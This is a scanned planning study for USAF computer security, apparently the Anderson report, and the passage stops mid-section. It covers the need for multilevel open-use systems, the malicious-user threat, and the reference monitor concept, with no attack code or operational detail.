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ABSTRACT 

Details of a planning study for USAF computer security requirements are presented. 
An Advanced development and Engineering program to obtain an open-use, multilevel 
secure computing capability is described. Plans are also presented for the related 
developments of communications security products and the interim solution to present 
secure computing problems. Finally a Exploratory development plan complementary to 
the recommended Advanced and Engineering development plans is also included. 
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SECTION I 

INTRODUCTION AND BACKGROUND 

1. 1 Background 

In recent years the Air Force has become increasingly aware of the problem of 
computer security. This problem has intruded upon virtually every aspect of USAF 
operations and administration. The problem arises from a combination of factors 
that includes: greater reliance on the computer as a data processing and decision 
making tool in sensitive functional areas; the need to realize economies by consoli­
dating ADP resources thereby integrating or co-locating previously separate data 
processing operations; the emergence of complex resource sharing computer systems 
providing users with capabilities for sharing data and processes with other users; 
the extension of resource sharing concepts to networks of computers; and the slowly 
growing recognition of security inadequacies of currently available computer systems. 
Most of the efforts to date to provide computer security have been centered in environ­
ments where all persons coming in contact with the system share a common clearance 
and where the principal effort has been directed to providing procedural controls, 
especially those associated with external access to the computer systems and their 
files, and proper marking of information found in the system. 

1. 2 Specific Security Problems of the USAF 

The major problems of the USAF stem from the fact that there is a growing re­
quirement to provide shared use of computer systems containing information of dif­
ferent classification levels and need-to-know requirements in a user population 
not uniformly cleared or access-approved. This problem takes an extreme form in 
those several systems currently under development or projected for the near future 
where part, or the majority of the user population has no clearance requirement and 
where only a very small fraction of the information being processed and stored on the 
systems is classified. In a few of the systems examined (see Section II below) the 
kinds of actions the user population is able to take are limited by the nature of the 
application in such a way as to avoid or reduce the security problem. However, in 
other systems, particularly in general use systems such as those found in the USAF Data 
Services Center in the Pentagon, the users are permitted and encouraged to directly pro­
gram the system for their applications. It is in this latter kind of use of computers that 
the weakness of the technical foundation of current systems is most acutely felt. 

Another major problem is the fact that there are growing pressures to interlink 
separate but related computer systems into increasingly complex networks. The 
principal problem seen here is that the security dangers of such interlinking are 
masked by the apparently "safe" interaction directly between computer systems. 

Other problem areas in addition to those noted above generally fall into the cate­
gory of techniques and technology available but not implemented in a form suitable for 
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the application to present and projected Air Force computer systems. Typical of 
this category is the notion of an "office environment" secure terminal. The technology 
for producing such terminals is both easily available and well understood but has not 
been clearly developed heretofore as an integrated requirement for the Air Force. 

1. 3 On The Nature Of The Securi1y Threat 

With the advent of widespread availabili1y and use of resource-sharing systems, has 
come the realization that with the benefits of resource-sharing come problems of security 
and privacy that had not been recognized in previous batch systems. The key factor 
that permitted safe handling of classified information in the past was the fact that the 
computers were oriented to serving a single user at a time. Because of this, it was 
possible to isolate individual runs and apply securi1y measures commensurate with the 
type of data being handled. 

By the mid-sixties, the research in resource-sharing computer systems that had 
been going on in many universities had reached a stage of development that permitted 
a number of manufacturers to offer resource-sharing systems as a product. These 
products have formed the basis for the extensive application of resource-sharing to 
many systems found throughout the world today. 

The interactive resource-sharing systems also provide economical centralization 
of programs and especially data online to an application that permits them to be acces­
sed upon demand from any terminal attached to the system. This factor, plus the 
nature of time-sharing itself which provides for two or more programs to be resident 
simultaneously in primary storage, erodes the separation principle that had been the 
keystone to security practice in the past. Further, it replaces manual, easily visible 
controls with reliance upon logical and intangible program controls to keep separate 
data and programs belonging to different users. 

At first glance, the problems of providing privacy and securi1y in resource-shared 
systems seem ridiculously simple. Since it is a generally accepted requirement that 
the executive (operating system) for resource-shared systems and other users must be 
protected from 'buggy' programs, it follows that any of the various time-shared systems 
are 'secure'. Unfortunately, this is not the case. 

The essence of the multilevel security technical problem becomes clear when the 
fact that programs of users with different clearances and data of different classifica­
tions share primary storage simultaneously in resource-sharing systems that rely on 
an operating system program to maintain their separation. Furthermore, the situation 
is aggravated when the user of a resource-sharing system, to a greater or lesser 
degree, must program the system to accomplish his work. In this environment, it is 
necessary to prove that a given system is proof against attack (i.e., hostile pene­
tration). 

It is generally true that contemporary systems provide limited protection against 
accidental violation of their operating systems; it is equally true that virtually none of 



them provide any protection against deliberate attempts to penetrate the nominal 
security controls provided. It is the possibility of deliberate penetration by a user 
that we call malicious threat. It is the malicious threat that has forced most present 
systems to operate in single-level mode, where through the clearance process, all 
the users are considered equally reliable eliminating by definition the concern for 
maliciousness. 

The malicious user concept arises from the requirements for open use systems. 
Present day computer systems are largely closed use systems; that is, systems 
serving a homogeneously cleared user population. The major threat to these systems 
is that of external penetration. The external penetration threat is countered by using 
combinations of physical, procedural and communications security techniques. These 
techniques, some highly advanced, are the bulk of the present state-of-the-art in com­
puter security. In effect, the defense against external penetration surrounds the sys­
tem and its user community with a barrier that must be breached before the system can 
be compromised. By adopting a uniform clearance (to the highest level of information 
contained in the systems), the threat of internal penetration is eliminated by definition. 

Thetechnical issue of multilevel computer security is concerned with the con­
cept of malicious threat. By this we recognize that the nature of shared use multi­
level computer systems present to a malicious user a unique opportunity for attempt­
ing to subvert through programming the mechanism upon which security depends (i. e. , 
the control of the computer vested in the operating system). This threat, coupled 
with the concentration of the application (data, control system, etc. ) in one place 
(the computer system) makes computers a uniquely attractive target for malicious 
(hostile) action. Recognition of the implication of malicious threat is important to 
understanding the security limitations surrounding application of contemporary com­
puter systems. The threat that a single user of a system operating as a hostile agent 
can simply modify an operating system to by-pass or suspend security controls, and 
the fact that the operating system controlling the computer application(s) is developed 
outside of USAF control, contribute strongly to the reluctance to certify (i. e. , be 
convinced) that contemporary systems are secure or even can be secured. 

The objectives of providing open use multilevel systems differentiate users' 
clearances , and reduce the external control on physical access correspondingly. For 
systems operating on information at two or more security classification levels, it is 
mandatory that the system have security controls that are often not considered abso­
lutely mandatory in a single level system due to the presumption of equal trustworth­
iness of all individuals using the system. The results of the requirements investiga­
tion have shown clearly that single level operation of many USAF systems is not either 
operationally or economically feasible. Further, ~of the systems examined were 
found to be without a requirement to support a general programming capability, although 
in some applications-oriented (transaction) systems this is limited to a realtively small 
fraction of the total user population. Even in these systems, unless the application is 
developed using cleared implementors, the application(s) are such that while the users 
do not directly program the system, there is still no assurance that a programmed 
'trap door' has not been installed in the application to be activated by some unique 



string of input characters presented by collaberating user. Even if the application is 
developed by cleared implementors there is then no assurance, on present systems , 
that a 'trap door' has not been installed in a portion of the software base supporting 
the application. 

The essence of this concern is that there exists manifold opportunities for a 
determined adversary to accomplish his objectives. 

There is little question that contemporary commercially available systems do not 
provide an adequate defense against malicious threat. Most of these systems are 
known to have serious design and implementation flaws that can be exploited by indi­
viduals with programming access to the system. As an instance of this, we note that 
the Honeywell 6000 Series operating system has a number of major flaws that would 
permit a user programmer to subvert the nominal security controls that exist in the 
system. The design and implementation flaws in most contemporary systems permit 
a penetrating programmer to seize unauthorized control of the system, and thus have 
access to any of the information on the system. 

In summary, the security threat is the demonstrated inability of most contem­
porary computer systems to provide a sufficiently strong technical defense against a 
malicious user who is deliberately attempting to penetrate the system for hostile 
purposes. The primary technical problem to be solved is that of determining what 
constitutes an appropriate defense against malicious attack, and then developing 
hardware and software with the defensive mechanism(s) built in. 

1. 4 Previous and Related Work 

Because the problem of information security in computer based systems became 
visible only with the development of and acceptance of resource sharing systems , 
there is no long history of previous work. In 1967 the Defense Science Board Task 
Force on Computer Security was convened. It was intended that this Task Force 
would analyze the problem and recommend a research and development program that 
would provide solutions to the extant problems of that time. During the course of that 
work it was discovered that the problem was not well understood and as a consequence 
the final report prepared by the Task Force contained less in the way of a recommended 
R & D program than had originally been thought possible. The report did, however, 
contain an extensive discussion of the scope of the problem as well as definitions of 
terminology that were sadly lacking at that time. 

During the past several years a number of independent projects concerned with 
various aspects of computer security have been funded by various members of the 
Defense and Intelligence communities. In addition, a fairly major effort to provide 
security controls to a system that existed within a benign environment in the Intelli­
gence community has taken place over the past several years. While these controls 
are of interest and provide a certain degree of implementation of security procedures, 
they did not address the question of providing technical security against malicious 
attack. 



More recently the Advanced Research Projects Agency (ARPA) has funded work 
at Rand Corporation, Information Systems Institute (USC) and Livermore Research 
Laboratories to analyze the security adequacy of selected commercial operating sys­
tems and to develop methodologies of security assurance. These programs are too 
recent and have not been sufficiently developed to provide any assessment of this 
potential contribution to the solution of some of the problems perceived by the study 
panel. Finally, the problem of computer security achieved major recognition from 
IBM's recent announcement of their intention to spend 40 million dollars on the 
problem over the next five years. The details of their program are unknown, but 
appear initially to be directed to the enhancement of an IBM product, Resource 
Security System (RSS). 

1. 5 Scope of this Study 

1. 5. 1 Statement of Work 

The scope of this study, as defined in the Statement of Work is: 

"The Contractor shall develop a comprehensive plan for research 
and development leading to the satisfaction of requirements for 
multi-user open computer systems which process various levels 
of classified and unclassified information simultaneously through 
terminals in both secure and insecure areas. " 

By 'open systems', we mean two things both of which are major contributors to 
the principal unsolved security problem facing the Air Force. First, we mean by 
open use, systems where not all of the users are cleared for the highest level of 
classification of information being processed on such a system. In the extreme, 
some users may not possess any clearance at all. Second, we mean by open use 
those systems where the .users program the system in machine (assembly) language 
or any of the common higher order languages such as JOVIAL, FORTRAN, or 
COBOL. Either of these definitions of 'open system' creates unacceptable security 
hazards in contemporary systems. They serve to focus on the primary fact that too 
little is known about how the technical controls in the operating systems work to 
defend the system against attack, and assure that under no circumstances will classi­
fied information be inadvertently made available to an unauthorized user. 

The emphasis on 'multi-user open systems' is well placed as this is the most 
stringent security environment we know. In addition to providing a useful model of 
severe security operating requirements, it is representative of a growing trend of 
use of computers in the USAF and other government departments. Further, technical 
solutions to the 'open systems' problems can be applied to less stringent environ­
ments as well. 



1. 5. 2 Study Tasks 


Specific tasks called for within this scope included: 


a. A study and analysis of the security penetration threats and techniques as 
well as the effectiveness of current technology in meeting these threats, and 
the extent of research and development required to improve the current 
computer security technology. 

b. An analysis of the state-of-the-art relating to the multi-user computer 
security problem to develop and recommend a technical program leading 
to the development of techniques which will satisfy USAF requirements for 
multilevel, open computer systems. 

c. Identification of specific technical areas for which detailed plans will be 
developed. 

d. Integration of the individual plans into a final comprehensive technical plan 
recommending how to satisfy the requirements for multi-user , multilevel 
secure computer systems which include terminals in both secure and 
unsecure areas. 

1. 5. 3 Makeup of the Panel 

Because of the complex interrelationships between various aspects of the prob­
lem, and to insure that all relevant aspects of the problem were considered, a study 
panel, chairedby Professor Edward L. Glaser of Case Western Reserve University 
was convened. Other members of the panel included: 

Mr. James P. Anderson, Dr. Eldred Nelson (TRW) 
Deputy Chairman 

Mr. Bruce Peters (SDC)* 
Dr. Melvin Conway 

Dr. Charles Rose 
Mr. Daniel J. Edwards (NSA) (Case Western Reserve) 

Miss Hilda Faust (NSA) Mr. Clark Weissman (SDC) 

Mr. Steven Lipner (MITRE) 
(Chairman, Requirements 
Working Group) 

This report is an integration of the individual and collective contributions of the 
panel. 

*Mr. Peters was with the Defense Intelligence Agency during the bulk of the study. 
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SECTION II 


USAF COMPUTER SECURITY REQUIREMENTS 


2.1 Introduction 

This section reports the trends and problems in computer security that were 
identified by the panel's Requirements Working Group. The objective of the working 
group was not to develop firm coordinated command requirements for specific 
techniques or systems, but rather to identify the directions in which Air Force 
computer use is moving, and the bearing of these directions on computer security. 
For this reason, the Requirements Working Group was composed of working-level 
staff officers from Air Force commands that are major computer users. These 
officers presented descriptions of existing and planned computer usage and computer 
security problems within their commands. The Air Force commands that participated 
in the Requirements Working Group were: 

Air Force Logistics Command (AFLC) 

Air Force Data Services Center (AFDSC) 

Satellite Control Facility (SAMSO) 

NORADIAerospace Defense Command (NORAD) 

Air Force Communications Service (AFCS) 

Air Force Global Weather Center (AFGWC) 

Strategic Air Command (SAC) 

Air Force Security Service (AFSS) 

Military Air Lift Command (MAC) 

Electronic Compatibility Analysis Center (ECAC) 

Sections 2. 3 and 2. 4 describe the trends and current problems, respectively, 
that were identified by the Requirements Working Group. Section 2. 2 gives a 
brief summary of the range of system types and uses considered by the working 
group. 

2. 2 Range of Systems Considered 

The systems planned or operated by members of the Requirements Working 
Group span a fairly broad range of functions. At one end of this range are systems 
that fully support general user programming in both batch and time-sharing modes. 
At the opposite end are relatively simple systems that perform only pre-specified 
functions, responding to user queries or switching messages. At an intermediate 
point in this range are systems that provide query or transaction processing to many 
online users and simultaneously support programming by a software maintenance staff. 



Most computer systems discussed by the working group were of medium or 
large-scale size. Only these systems seem to have the capacity to make multi-user 
(and hence multi-classification) support practical. Current systems that present 
computer security problems operate on a mix of equipment supplied by almost every 
major manufacturer. Low and high levels of classification required by multilevel 
systems are determined by the nature of the using organization, but usually span a 
broad range of levels and special categories. 

2. 3 USAF Computer Usage Trends Affecting Computer Security 

The following paragraphs describe the trends in Air Force computer usage that 
appear likely to have a significant impact on computer security problems of this 
decade. These trends are, in most cases, based on requirements and plans, rather 
than on existing systems. It is apparent that some systems cannot be built as planned, 
and some objectives will not be reached as long as present computer security 
problems remain unsolved. 

2. 3.1 Multi-Level Operation 

Almost every member of the Requirements Working Group emphasized a need 
for multilevel secure operation of either planned or existing computer systems. The 
range of classification and clearance levels varies depending on the user organization 
and system application. In several cases , (AFDSC, ECAC , AFLC) requirements exist 
for operation at unclassified through secret levels. Other systems (SAC, AFGWC, MAC) 
are planned to operate at unclassified through top secret levels, while still others 
Tactical (TIPI) operate with all users cleared but with requirements to operate under 
strict need-to-lmow or special access controls. In all cases above where un­
classified operation is mentioned, uncleared users and/or terminals with unencrypted 
communications are planned. 

One significant trend was that the ratio of classified to unclassified data involved 
in a planned multilevel system can be quite small. Both MAC and AFLC estimated 
that "less than one percent" of system data is classified. However, because of the 
pervasive nature of security problems, both commands must go to considerable 
system-wide effort to attempt to provide effective security controls. 

2. 3. 2 Open Operation 

As was mentioned above, several planned systems are to provide processing of 
both classified and unclassified data with some users operating outside of a cleared 
environment. (That is, the users, their terminals or terminal communications are 
uncleared for any classified data.) Such systems are referred to as "open" systems 
and provide the would-be penetrator with ready entry points for his attempts to 
retrieve, alter, or destroy classified data. The growing user requirement for open 
systems is one of the most technically challenging trends identified by the 
Requirements Working Group. 

8 




2. 3. 3 Online Operation 

Without exception, the systems described by the working group members will ' 
support online users at terminals. In some systems, the computer and' its terminals 
will reside in the same building, while in others, terminals will be spread over a 
base, a metropolitan area, the country, or even the world. The planned systems 
will support large numbers of terminals (hundreds in the case of AFLC's Advanced 
Logistics System (ALS)) having varied security access privileges. The problem of 
providing security for this collection of terminals is compounded by the facts of 
online operation, which dictate small delays to user inputs and responses, and 
require that security checldng overheads be reasonably low. 

2. 3. 4 Transaction Systems 

Many of the planned systems described to the Requirements Working Group are 
transaction processing systems - systems in which users may invoke only one of a 
known set of programs at a time. In such systems, users may take advantage of pre­
programmed security weaknesses, but may not directly attack the computer and oper­
ating system with their own programs. Some Air Force systems planned or in 
development (ALS logistic processing, TIP! tactical information handling, AFGWC 
weather processing) are dedicated to transaction processing, while others (MAC's 
MACIMS reservation system, ADC Space Computation Center) provide both transaction 
processing and program development simultaneously. Users of transaction processing 
system feel that they should be able to use reduced security controls, since user threats 
have been reduced, but there is, at present, no general universal guidelines on adequate 
security controls for such systems. 

2. 3. 5 Program Development 

While some systems serve their users primarily in a transaction processing mode, 
almost every system, either planned or in being, is required to support some program­
ming at some time. The bulk of the systems examined by the working group (all 
·except the transaction-only systems mentioned above) require multiprogramming or 
program development with other system functions. In at least one system (AFDSC) 
there is a requirement for programming by uncleared remote users. In other cases, 
programming is restricted to a set (in ALS a very large set) of cleared development 
personnel. The presence of a program development workload on a processor handling 
classified data raises several/computer security problems: first, there must be some 
safeguards against a program (accidentally or deliberately) disabling security controls 
thus providing uncleared users with access to classified data; second, the transaction­
only system typically exists in a changing mode and environment, and its operators 
must be constantly alert to assure that the security controls in the system are in fact 
complete and properly operating; finally, the program development must take place in 
a cleared environment (including use of secure terminals, where applicable) where 
the risk of external tampering with the system can be eliminated. 



2. 3. 6 Networks 

A final trend pointed out with considerable emphasis by the Requirements Working 
Group is the movement toward the establishment of large dispersed networks of related 
computer systems. AF Global Weather Center, for example, will interconnect several 
of its own computer systems. In addition, this interconnected complex will be tied to 
other weather processing centers and to the command control systems of (at least) 
SAC and MAC. SAC plans to tie several command control computers together, and 
may also interface intelligence processing systems. The MAC command control 
system, MACILVIS, will be implemented as a network ofWWMCCS computers. Plans 
are being formulated for a network to interconnect all of the WWMCCS computer instal­
lations. As networks of the types mentioned are developed, computer security problems , 
already difficult, become much more complex. For example, there is a possibility of 
one "untrustworthy" processor in a network collecting classified data from other pro­
cessors by making apparently legitimate requests. Computer networks that have one 
or more nodes that can be accessed by users with clearances below the highest level of 
information in the network, constitute multilevel networks. The security threat posed 
by such operations is that, in general, the computer to computer communications are 
accepted as valid on the questionable basis that the other computer has a high security 
reliability. However, if control of a node can be exercised by a malicious users , the 
entire network may be compromised. In a network, it is essential that there be reliable 
security controls , that the nature of these be understood, and that the network does not 
inadvertently provide the means to bypass those controls. While there are growing 
requirements for interconnecting computer systems into networks the dimensions of the 
security problem are unknown. Much more information is needed on both the networks 
and their security requirements. 

2. 4 Current Problems 

The previous section identified trends that lead to the computer security re­
quirements of the future. This section outlines the major problems that arise today 
as a result of users' attempts to provide security with the products of current 
technology. 

2. 4.1 Off-the-Shelf Hardware and Software 

Underlying most current users' problems is the fact that contemporary com­
mercially available hardware and operating systems do not provide adequate support 
for computer security. While some limited protection is supplied in the form of 
memory protection controls, master and slave modes, and privileged instructions, 
experienced programmers have had little difficulty in penetrating off-the-shelf 
systems and retrieving desired data items. Certification attempts based on penetra­
tion have generally produced results leading to denial of certification. However, 
even an unsuccessful penetration attempt would not show grounds for certification, 
since the possibility of a yet undiscovered route into a large existing system is ever 
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present. Furthermore, so much of a current system is highly privileged (and poten­
tially security-related) that there is a likelihood of a new security problem being 
introduced by the next update to the vendor's operating system. 

Attempts to "patch" an off-the-shelf system for security tend to obscure 
penetration routes, but have little impact on underlying security problems. Existing 
systems have so many central privileged functions that the operating system becomes 

.quite large and capable of concealing numerous flaws. Security packages may 
provide elaborate schemes for labeling output and handling user passwords, but do 
not effectively deter a programmer from accessing data as he wishes. 

2. 4. 2 Ad Hoc Additions 

Given the problems of current hardware and operating systems some users 
(AFGWC, AFLC) have been driven to the development of large software packages that 
mediate between applications programs and operating systems. Such packages are 
capable of providing a degree of security in a benign environment (no hostile program­
mers) but exact a very large price for storage space and execution time. These pack­
ages seem to offer little protection against a hostile programmer or possible underlying 
trapdoors and may be employed to protect (ALS) a small amount of classified data. 
Thus, their cost-effectiveness, at least, is subject to question. 

2. 4. 3 Terminal Security 

Given the operating system and hardware deficiencies described above, an organ­
ization (AFDSC) that wishes to support unclassified programming on a computer handling 
classified data has little choice but to do such processing in a secure environment. 
Creating this environment for remote terminals involves the use of cryptographic equip­
ment that requires protection of its own. Thus, a computer user may find himself with 
a vault and cryptographic equipment for the protection of a terminal that processes only 
unclassified data. The cost of such a secure environment may be quite staggering ­
especially when multiplied by the number of terminals attached to a large time-shared 
computer system. 

2. 4. 4 Media Declassification 

Current technology does not provide for rapid and easy declassification of magnetic 
media (disks, drums) that have held classified information. Such media must be physically 
destroyed to guard against compromise of data that have once been stored on them. 
This destruction requirement represents a significant expense for CONUS computer 
users. In a tactical environment (TIPI) systems that may be overrun must have a 
safe, rapid method of declassifying media to avoid compromise of large quantities 
of data. Techniques for recording data in unclassified (encrypted) form or for 
rapidly clearing media would solve both the tactical and CONUS problems. 



SECTION ill 

CONSIDERATIONS LEADING TO THE DEVELOPMENT PLAN 

3. 1 Background 

Resource sharing systems are not currently widely used for multilevel classified 
processing because security and operations personnel are not convinced that they are 
secure against an internal user. This feeling is visceral - the technical issues 
generally being too complex to unravel in any particular situation. Nevertheless, their 
instincts are correct, and bolstered by the experience of programming errors resulting 
in protection bounds being accidentally breached. Frequently this prospect of accidental 
disclosure is cited as the reason for not performing multilevel classified processing on 
a system. 

In fact, accidental disclosure on contemporary resource sharing systems occurs 
less frequently than in manual handling of classified documents, if the informal state­
ments of security professionals are to be believed. Even so infrequent cases of 
accidental disclosure are generally not viewed as total disasters because of the gen­
erally valid assumptions that the person who is exposed accidentally to normally 
unauthorized information is benign. 

If this is the case, why are not computers used for even simple multilevel classified 
operation? The simple answer to this is that the security bureauacy is concerned that 
even though all users are cleared for some level of information, the amount of investi ­
gation performed for the lower level clearances is significantly less than for the higher 
level clearances. Because of this, it may be possible for an agent to be placed in an 
organization and exploit in some mysterious way the concurrent processing of higher 
classified information with that to which he is authorized by his job and lower level 
clearance. 

While some of the known expionage cases would indicate that there is at least as 
much to be concerned about from individuals already cleared but becoming untrustworthy 
(c. f. Martin and Mitchell), this receives attention primarily at higher clearance levels, 
especially those involving access to intelligence information. 

When it is suggested that an agent-in-place threat exists, there is frequently a 
response indicating that the suggestion is a paronoid view, and not to be taken seriously. 
Yet it is precisely this threat that prevents multilevel secure computing on contemporary 
systems. 

We have identified this threat as that of a malicious user. This term is more 
descriptive of the actual security concern, and avoids futile arguements over an indi­
vidual's motives. We do not need to distinguish between a foreign agent or the misguided/ 
disgruntled actions taken by an individual against the "establishment". 
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In addition to the experience of accidental disclosure, there has also been a number 
of successful penetrations of of systems where the security was 'added on' or claimed 
from fixing all known 'bugs' in the operating system. The success of the penetrations, 
for the most part, has resulted from the inability of the system to adequately isolate 
a malicious user, and from inadequate access control mechanisms built into the operating 
system. 

In examining the broad threats to computer systems, it has been found useful to 
distinguish between external threats1 and the internal (malicious user) threat described 
above. Both from the statements of the requirements working group and the panel's 
collective experience, it was found that the defenses against an external threat were by 
and large adequate and well understood. By and large the defense against external 
penetration is where the focus of computer security has been until now. 

For many of the reasons discussed above, there is no adequate defense against a 
malicious user on most systems. It is the malicious user threat that provides the 
single largest barrier to providing multilevel 'secure' processing on most contemporary 
systems. 

The requirements working group confirmed the panels assessment that this was the 
key problem to be faced, although as noted in Section II, they indicated that other 
important problems existed as well. While the requirements working group did not 
present coordinated requirements of their respective commands, their input was an 
informal expression of current and near-term problems being faced by working level 
staff officers and key civilians. It supported the experience and observations of the 
panel as a whole. 

3. 2 The Malicious User Threat 

Having identified what is believed to be the key problem, the panel began to establish 
the requirements for a defense against a malicious user attack. In order to appreciate 
these points, it is necessary to understand some of the mechanisms used by a malicious 
user to achieve penetration of a system (an attack scenerio against a contemporary 
system is given in more detail in Appendix I). In contemporary systems, the attacker 
attempts to find design or implementation flaws that will give him supervisory control 
of the system. With supervisory control, he is then above to exercise parts of the 
operating system to access unauthorized classified data and return it to his own pro­
gram in a way not anticipated by the operating system designers. Alternatively, he 

1By external threats we mean those situations where it can be reasonably inferred that 
a computer system is the object of an expressed or implied intention on the part of 
unfriendly parties to acquire or modify information, or to deny its services to its 
legitimate users. The operative aspect of an external threat is that it is necessary to 
gain access to the system in order to carry out the threat. ~ malicious user (constituting 
an internal threat) already has access to the targeted system. 



can either add to or temporarily replace parts of the operating system to give his 
program access and reference privileges not authorized to him. He may direct his 
attention specifically to the file containing the list of authorized users of a system 
(frequently containing the password(s) associated with each user). In any case, the 
attacker is able to reference any data or programs in the system. 

As a malicious user is able to exercise more direct control over a computer through 
programming, he has the use of the computer as a tool to help his penetration and sub­
sequent exploitation of the system. If he has a full programming capability using 
assembly or most of the higher order languages, he has the maximum possible user 
control of the system, and has available all but a few of the tools needed to aid him in 
his penetration. As the users capability is reduced by such means as forcing him to 
use interpretive systems, transaction processing systems and the like, his opportunities 
for direct control of the machine through his programming actions is correspondingly 
reduced because these tools are not sufficient for that purpose. His threat is reduced 
but unfortunately not eliminated through use of such techniques. Although the scope of 
actions directed to achieve penetration is reduced, he can still probe the system for 
exploitable design or implementation flaws using non-sequitor commands, false or 
'nonesense' parameters, unanticipated interruptions, and the like. If the malicious 
user is a supported agent, he may merely exercise a 'trapdoor' placed in the system by 
another agent to gain access to classified data. 

A number of the reasons that penetration attacks are possible are given below. A 
contemporary system provides a limited form of reference validation in the form of the 
memory protect scheme for the system. These schemes are designed to isolate the 
running programs from other programs and the operating system, and in general, work 
well enough on most systems. Because the schemes are so simple (either protection 
keys as those on the 360/370 or bounds registers in such machines as his 6000 series or the 
Univac 1100 series machines), they are generally applied to user programs only. The 
operating system, because it needs to reference all of the real memory on a system in 
exercising its control functions , most frequently runs with the memory protect suspended 
(i.e. in a supervisory or control state, where no checking of a reference is done) or 
with the memory protect set to enable the executive to refer to any memory without 
restriction (e. g. protection key zero in OS/360). While it would be desirable to 
confine references from the centralized service functions of an operating system to 
those parts of memory allocated to the user making the request, there is no convenient 
way on most machines to do so. Compounding this condition is the fact that many of the 
service functions made available to user programs are also used by the operating system 
in exercising its control of the system. In most systems it is not possible for a called 
service function to determine the identity of the caller and thereby 'interpret' the 
validity of the parameters or the service requested. 

In conventional two-state machines, unrestricted addressing and privilege for 
executing I/O operations and setting memory bounds registers are associated with the 
supervisory state. Thus, the two-state machine is forced to enter supervisory state 
to provide the needed addressing capability, even to perform services not requiring 
privileged instructions, but requiring a capability to refer to data or instructions in 

14 




the callers workspace. Because of the all or nothing approach to memory protection, 
and because the simple bounds register technique forces programs and data to be 
bound together in contiguous locations, there is no convenient way to localize the 
referencing capability of an operating system service function. 

The limited reference control provided by the memory protect schemes on most 
contemporary systems thus leads to monolithic, totally privileged executives with an 
unrestricted capability to reference any part of main or auxiliary storage. Because of 
the total privilege and unrestricted referencing capability of the executive, it is neces­
sary for all parts of the executive to be designed and implemented correctly in order 
to assure that a system is proof against an attack by a malicious user. The sheer size 
of contemporary operating systems (on the order of 100,000 + instructions) and their 
complexity makes it virtually impossible to validate the static design and implementation 
of the system. When the dynamic behavior of the system is contemplated as well, there 
is no practical way to validate that all of the possible control paths of the operating 
system in execution produce correct, error-free results. 

Because nearly all of the contemporary operating systems have so much of their 
code running in supervisory state, there are a large number of places a malicious user 
can attempt to attack a system. The primary points of attack include the I/O interface 
and the various system supplied service functions. 

The attacks are possible because the operating system/hardware architectures 
tend to promote a monolithic totally privileged executive with unrestricted capability 
to reference any main or auxiliary memory locations. While it would be possible to 
design a more modular executive, the present design approaches (on contemporary 
hardware) provide the most efficient operation of the executive. A more structured 
operating system could be achieved on contemporary systems only by providing soft ­
ware controls (at considerable penalties in operating efficiency) to restrict references 
by the operating system. These conditions coupled with flaws or misconceptions in 
the design, and the fact that the operating systems were not design to be secure, provide 
a malicious user with any number of opportunities to subvert the operating system 
itself. 

3. 3 	 Defense Against A Malicious User 

With the foregoing in mind, the requirements to defend against a malicious user 
can be better appreciated. These requirements are: A system designed to be secure, 
containing; 

A) 	 An adequate system access control mechanism 

B) 	 An authorization mechanism 

C) 	 Controlled execution of a users program or any program being executed 
on a user's behalf. We explicitly include the operating system service 
functions in this requirement. 



It is the omission of design for secure operation and the lack of strict control of 
programs in execution that characterizes most contemporary systems, and which in 
combination with the size and complexity of the systems makes it impossible to conduct 
meaninful testing or certification to determine that the systems are secure. The key 
issues that emerge are program reference control and the correct design, implemen­
tation, localization and isolation of the security portions of an executive. 

These requirements are amplified below. The adequate access limitation on users 
of the system and a defense control mechanism is needed to provide both a limitation 
on who uses the system, and as a defense against masquerading. By itself, it is not 
sufficient however necessary it may be. 

The authorization mechanism is needed to represent to the system the user's 
clearances and need to lmow for data bases and programs. An authorization mech­
anism is an integral component of a system's security because of the role it 
plays in establishing what shared resources (data, programs, equipment) are 
permitted to a given user (or execution of that user's program or a program executed 
on his behalf). The requirement for controlled execution of a user's program (or a 
program being executed on his behalf) is merely a statement that requires the references 
made by the program to be those authorized for the user on whose behalf the program is 
being executed. In many situations, the user could have created the program as well, 
but this is immaterial. The combination of authorization mechanism (i.e. representa­
tion and attachment to a user program of the permitted referencing capability), and a 
system environment that controls the actual execution of the users program (or any 
program being executed on his behalf) to permit only the authorized references to be 
carried out is referred to as controlled sharing (of the systems resources). We made 
separate and explicit the requirement that the operating system being executed on behalf 
of a user is constrained to just the referencing capability of that user in order to firmly 
establish the point. 

3. 4 Security Models 

In order to provide a base upon which a secure system can be designed and built, 
we recognize the need for a formal statement of what is meant by a secure system ­
that is a model or ideal design. The model must incorporate in an appropriate and 
formal way the intended use of a system, the kind of use environment it will exist in, 
a definition of authorization, the objects (system resources) that will be shared, the 
kind of sharing required, and the idea of controlled sharing described above. These 
elements should form a formal abstract specification of a secure system that can be 
proven to be complete, reflect real environments, and that will logically implement 
the controlled execution of programs. 

Elements of a model of controlled sharing can be found in the work on capability 
models. These elements, and the concept of a reference monitor which enforces the 
authorized access relationships between users and other elements of a system form the 
basis for the recommended approach to the development of a secure resource sharing 
system. 
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In order to achieve the desired execution control of users programs, the concept 
of a Reference Monitor is used. The function of the reference monitor is to validate 
all references (to programs , data, peripherals , etc. ) made by programs in execution 
against those authorized for the subject (user, etc.). The Reference Monitor not only 
is responsible to assure that the references are authorized to shared resource objects, 
but also to assure that the reference is the right kind (i. e. , read, or read and write, 
etc.). 

The notions of controlled sharing (the authorization mechanism and execution 
control) and the Reference Monitor are the central idea behind the recommended 
advanced development program. We have called the implementation of the reference 
monitor concept the Reference Validation Mechanism (RVM) -a combination of hard­
ware and software that implements the reference monitor concept. In addition to these 
concepts, we add the additional principles that: 

A) The reference validation mechanism must be tamper proof. 

B) The reference validation mechanism must always be invoked. 

C) The reference validation mechanism must be small enough to be subject 
to analysis and tests to assure that it is correct. 

These principles specify the operating conditions of the reference validation 
mechanism. 

The tamper proof condition is self evident. If the reference validation mechanism 
can be altered either programatically or manually, its integrity cannot be guaranteed, 
and no security certification of such a system could be derived. 

The continuous invocation of the reference validation mechanism reflects that it 
must be applied to all programs including the operating system itself. 

Finally the condition that it must be small enough to logically demonstrate that it is 
complete , faithful to the model, and correctly implemented is the same as saying that 
it must be capable of being proved to be correct. 

3. 5 Hardware Considerations 

It is at the point of transforming these notions into a design that the efficiency of 
the reference validation mechanism becomes important. While a programmed inter­
pretation may be acceptable for some applications , the requirement to support secure 
general programming suggests that hardware interpretation be used. 

A computer hardware architecture based on descriptors provides the essential 
characteristics for implementing an efficient reference validation mechanism. The 
descriptor machines implement a virtual addressing capability. The association of a 
descriptor with each code or data object of a user's program including the current 
execution point of the program , provides an efficient mechanism for implementing a 



